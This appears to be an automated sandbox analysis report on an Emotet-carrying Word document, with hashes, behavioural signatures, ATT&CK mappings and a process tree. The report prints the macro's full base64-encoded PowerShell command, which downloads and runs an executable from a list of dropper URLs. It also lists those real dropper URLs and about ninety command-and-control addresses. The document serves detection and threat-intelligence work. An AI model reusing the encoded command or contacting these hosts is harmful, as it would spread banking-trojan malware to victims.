emotet | aaf638c3b449f405cf5f255bed50fc0465623dbe6afff56e70598e3c6dbe3a5c

Analysis

max time kernel
136s
max time network
144s
platform
windows10_x64
resource
win10
submitted
17/09/2020, 19:36

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General

Target
Doc-29541.doc
Size 252KB
Sample200917-bap6alsd2x
SHA256 aaf638c3b449f405cf5f255bed50fc0465623dbe6afff56e70598e3c6dbe3a5c
MD5 b88e1056240dea80dd78b57844f3ef9a
SHA1 9868d8c16fa0b10282bc2fab31fffe8b5d71c423
SHA512 fd1d2e4389b5a138e6a16cf992815c6748570fbaa717d5d37fcdfeaa74ef99f733b1316cb1ae8127284d088775e3f6c629a3812528f5206e707fbe7ca60afec8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://hoagietesting10.com/wp-content/SJ/
exe.dropper
http://iscamenabe.com/wp-content/1PR/
exe.dropper
http://vietmade.org/wp-admin/8/
exe.dropper
http://www.filamchimovies.com/wp-admin/8/
exe.dropper
https://strattonmobile.com/wp-content/yl/
exe.dropper
https://blog.qgdxzs.com/wp-admin/I/
exe.dropper
http://vietsex.pro/wp-content/PX/

Extracted

Family

emotet

91.105.94.200:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
189.2.177.210:443
181.30.61.163:443
185.178.10.77:80
199.203.62.165:80
177.73.0.98:443
87.106.46.107:8080
5.196.35.138:7080
5.189.178.202:8080
185.183.16.47:80
78.249.119.122:80
191.182.6.118:80
96.227.52.8:443
186.103.141.250:443
50.28.51.143:8080
111.67.12.221:8080
50.121.220.50:80
61.197.92.216:80
212.71.237.140:8080
82.76.111.249:443
110.142.219.51:80
92.24.50.153:80
190.24.243.186:80
51.255.165.160:8080
190.2.31.172:80
82.230.1.24:80
68.183.170.114:8080
192.241.146.84:8080
188.135.15.49:80
186.70.127.199:8090
72.47.248.48:7080
216.47.196.104:80
35.143.99.174:80
213.197.182.158:8080
220.109.145.69:80
172.104.169.32:8080
77.90.136.129:8080
170.81.48.2:80
185.94.252.27:443
138.97.60.141:7080
64.201.88.132:80
137.74.106.111:7080
51.159.23.217:443
178.250.54.208:8080
185.94.252.12:80
45.16.226.117:443
80.11.164.185:80
187.162.248.237:80
204.225.249.100:7080
96.245.123.149:80
70.32.115.157:8080
190.6.193.152:8080
185.215.227.107:443
177.74.228.34:80
190.115.18.139:8080
217.13.106.14:8080
12.162.84.2:8080
190.190.148.27:8080
104.131.41.185:8080
155.186.0.121:80
104.131.103.37:8080
114.158.45.53:80
152.169.22.67:80
67.247.242.247:80
98.13.75.196:80
74.136.144.133:80
74.58.215.226:80
190.163.31.26:80
192.241.143.52:8080
209.236.123.42:8080
174.113.69.136:80
68.69.155.181:80
77.238.212.227:80
77.106.157.34:8080
65.36.62.20:80
181.129.96.162:8080
217.199.160.224:7080
45.33.77.42:8080
94.176.234.118:443
111.67.77.202:8080
83.169.21.32:7080
45.46.37.97:80
60.93.23.51:80
68.183.190.199:8080
70.32.84.74:8080
95.9.180.128:80
219.92.13.25:80
61.92.159.208:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2892	1516	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2172-14-0x00000000023A0000-0x00000000023B2000-memory.dmp	emotet
behavioral2/memory/2172-14-0x00000000023A0000-0x00000000023B2000-memory.dmp	emotet
behavioral2/memory/2172-15-0x00000000023C0000-0x00000000023D0000-memory.dmp	emotet
behavioral2/memory/2172-15-0x00000000023C0000-0x00000000023D0000-memory.dmp	emotet
behavioral2/memory/2096-18-0x0000000002150000-0x0000000002162000-memory.dmp	emotet
behavioral2/memory/2096-18-0x0000000002150000-0x0000000002162000-memory.dmp	emotet
behavioral2/memory/2096-19-0x00000000006A0000-0x00000000006B0000-memory.dmp	emotet
behavioral2/memory/2096-19-0x00000000006A0000-0x00000000006B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2892	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2172	Eh5uuijjk.exe
2096	VoiceActivationManager.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wmdrmsdk\VoiceActivationManager.exe	Eh5uuijjk.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3148	WINWORD.EXE
3148	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
2096	VoiceActivationManager.exe
2096	VoiceActivationManager.exe
2096	VoiceActivationManager.exe
2096	VoiceActivationManager.exe
2096	VoiceActivationManager.exe
2096	VoiceActivationManager.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
3148	WINWORD.EXE
2172	Eh5uuijjk.exe
2172	Eh5uuijjk.exe
2096	VoiceActivationManager.exe
2096	VoiceActivationManager.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2172	2892	powershell.exe	78
PID 2892 wrote to memory of 2172	2892	powershell.exe	78
PID 2892 wrote to memory of 2172	2892	powershell.exe	78
PID 2172 wrote to memory of 2096	2172	Eh5uuijjk.exe	81
PID 2172 wrote to memory of 2096	2172	Eh5uuijjk.exe	81
PID 2172 wrote to memory of 2096	2172	Eh5uuijjk.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Doc-29541.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABUADkAXwBvAGUAeQA2AD0AKAAoACcAQgAnACsAJwBsAGgAJwApACsAJwBnAHoAJwArACcANABvACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBQAFIATwBmAEkATABFAFwAcQA3AGMAVgBtAGcANQBcAGgAdgA3ADQAeAA2AEwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAEkAYABUAHkAUAByAE8AVABgAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbAAnACsAJwBzADEAJwArACcAMQAnACkAKwAnACwAJwArACcAIAB0ACcAKwAnAGwAJwArACcAcwAnACkAOwAkAEUAOAAyADgAbABlADAAIAA9ACAAKAAoACcARQAnACsAJwBoADUAdQAnACkAKwAnAHUAJwArACgAJwBpACcAKwAnAGoAagBrACcAKQApADsAJABMADEANAB5AGEAbAB3AD0AKAAnAEUAbwAnACsAJwBlAHUAJwArACgAJwBqAF8AJwArACcAYgAnACkAKQA7ACQATABkAGwAMQBrAHoAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADkATQAnACsAJwBIAFEANwBjAHYAbQBnACcAKwAnADUAJwApACsAJwA5ACcAKwAnAE0ASAAnACsAJwBIAHYAJwArACcANwAnACsAKAAnADQAeAA2AGwAJwArACcAOQBNAEgAJwApACkALQByAEUAUABMAEEAQwBFACAAIAAoACcAOQBNACcAKwAnAEgAJwApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUAOAAyADgAbABlADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4AYgBfAHgAdAByAGgAPQAoACgAJwBRAHEAJwArACcAYgAnACkAKwAoACcAMwB5AHMAJwArACcAeQAnACkAKQA7ACQAVgB1AHQAcAByAHEAbgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAQgBDAGwAaQBFAE4AVAA7ACQATwBzADAAbgBjAHEAMQA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAbwAnACkAKwAnAGEAZwAnACsAKAAnAGkAZQAnACsAJwB0ACcAKwAnAGUAcwB0AGkAJwApACsAJwBuAGcAJwArACcAMQAnACsAKAAnADAALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAJwArACcAbgB0AC8AUwBKACcAKwAnAC8AKgBoAHQAdABwADoALwAnACsAJwAvACcAKwAnAGkAJwArACcAcwBjAGEAJwArACcAbQBlACcAKwAnAG4AYQAnACkAKwAoACcAYgAnACsAJwBlAC4AJwArACcAYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQAnACsAJwBQACcAKwAnAFIALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwAnACsAJwB2AGkAZQB0AG0AJwApACsAJwBhAGQAJwArACcAZQAuACcAKwAnAG8AJwArACcAcgAnACsAKAAnAGcAJwArACcALwB3ACcAKQArACcAcAAtACcAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAOAAnACkAKwAnAC8AJwArACcAKgAnACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAHcAJwArACcAdwB3ACcAKQArACcALgAnACsAKAAnAGYAaQAnACsAJwBsAGEAJwArACcAbQBjACcAKQArACcAaAAnACsAKAAnAGkAbQAnACsAJwBvACcAKQArACgAJwB2AGkAZQBzACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4AJwApACsAKAAnAC8AOAAnACsAJwAvACoAJwArACcAaAB0AHQAcABzADoAJwApACsAKAAnAC8ALwBzACcAKwAnAHQAJwApACsAKAAnAHIAYQAnACsAJwB0AHQAJwApACsAJwBvACcAKwAnAG4AbQAnACsAJwBvACcAKwAnAGIAJwArACcAaQBsACcAKwAoACcAZQAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAoACcAdAAnACsAJwBlAG4AJwApACsAJwB0ACcAKwAnAC8AeQAnACsAKAAnAGwAJwArACcALwAqACcAKwAnAGgAdAB0AHAAcwAnACkAKwAoACcAOgAvAC8AYgAnACsAJwBsACcAKQArACcAbwBnACcAKwAnAC4AcQAnACsAKAAnAGcAZAB4AHoAJwArACcAcwAnACsAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwBJACcAKwAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6ACcAKwAnAC8ALwB2AGkAJwArACcAZQB0AHMAJwApACsAKAAnAGUAeAAnACsAJwAuACcAKQArACcAcAAnACsAJwByACcAKwAoACcAbwAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgAnACkAKwAnAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAFAAWAAnACsAJwAvACcAKQApAC4AIgBzAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAYgBpAGYAYwBvAGsAPQAoACcATwBnACcAKwAoACcAeABhACcAKwAnADUAdwAnACkAKwAnADkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBlAHYAcQBxAHcANQAgAGkAbgAgACQATwBzADAAbgBjAHEAMQApAHsAdAByAHkAewAkAFYAdQB0AHAAcgBxAG4ALgAiAGQATwBgAHcAYABOAGwATwBBAGQARgBpAEwARQAiACgAJABCAGUAdgBxAHEAdwA1ACwAIAAkAEwAZABsADEAawB6AHEAKQA7ACQATgBuADEAaQBrAHgAdgA9ACgAJwBOACcAKwAoACcANgAnACsAJwBhAHYAawAnACsAJwA1ADYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABkAGwAMQBrAHoAcQApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAMwAyADAAOAApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABMAGQAbAAxAGsAegBxACkAOwAkAEsAcgBpADMANwBlAGUAPQAoACcAQwAnACsAKAAnAGMAJwArACcAbQA1AGgAZQAnACsAJwBiACcAKQApADsAYgByAGUAYQBrADsAJABGAGoAbAAzAHEAcQByAD0AKAAoACcASAB4ACcAKwAnAGgAbgAnACkAKwAnADEAJwArACcAdgAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBrAHEAZQAxAGMAeAA9ACgAKAAnAFAAcgAnACsAJwBmAHUAagBlACcAKQArACcAbAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Admin\Q7cvmg5\Hv74x6l\Eh5uuijjk.exe
  "C:\Users\Admin\Q7cvmg5\Hv74x6l\Eh5uuijjk.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\SysWOW64\wmdrmsdk\VoiceActivationManager.exe
    "C:\Windows\SysWOW64\wmdrmsdk\VoiceActivationManager.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2096

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2096-19-0x00000000006A0000-0x00000000006B0000-memory.dmp

Download

memory/2096-18-0x0000000002150000-0x0000000002162000-memory.dmp

Download

memory/2172-15-0x00000000023C0000-0x00000000023D0000-memory.dmp

Download

memory/2172-14-0x00000000023A0000-0x00000000023B2000-memory.dmp

Download

memory/2892-10-0x00000152B89C0000-0x00000152B89C1000-memory.dmp

Download

memory/2892-9-0x00000152B8810000-0x00000152B8811000-memory.dmp

Download

memory/2892-8-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

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memory/3148-0-0x00007FFCC2090000-0x00007FFCC2756000-memory.dmp

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memory/3148-7-0x0000019018A91000-0x0000019018A96000-memory.dmp

Download

memory/3148-6-0x0000019018A8C000-0x0000019018A91000-memory.dmp

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memory/3148-5-0x0000019018A8C000-0x0000019018A91000-memory.dmp

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memory/3148-3-0x000001901639E000-0x00000190163A1000-memory.dmp

Download

memory/3148-4-0x0000019018A91000-0x0000019018A96000-memory.dmp

Download

memory/3148-2-0x00000190188B6000-0x00000190188BB000-memory.dmp

Download

memory/3148-1-0x00000190188B6000-0x00000190188BB000-memory.dmp

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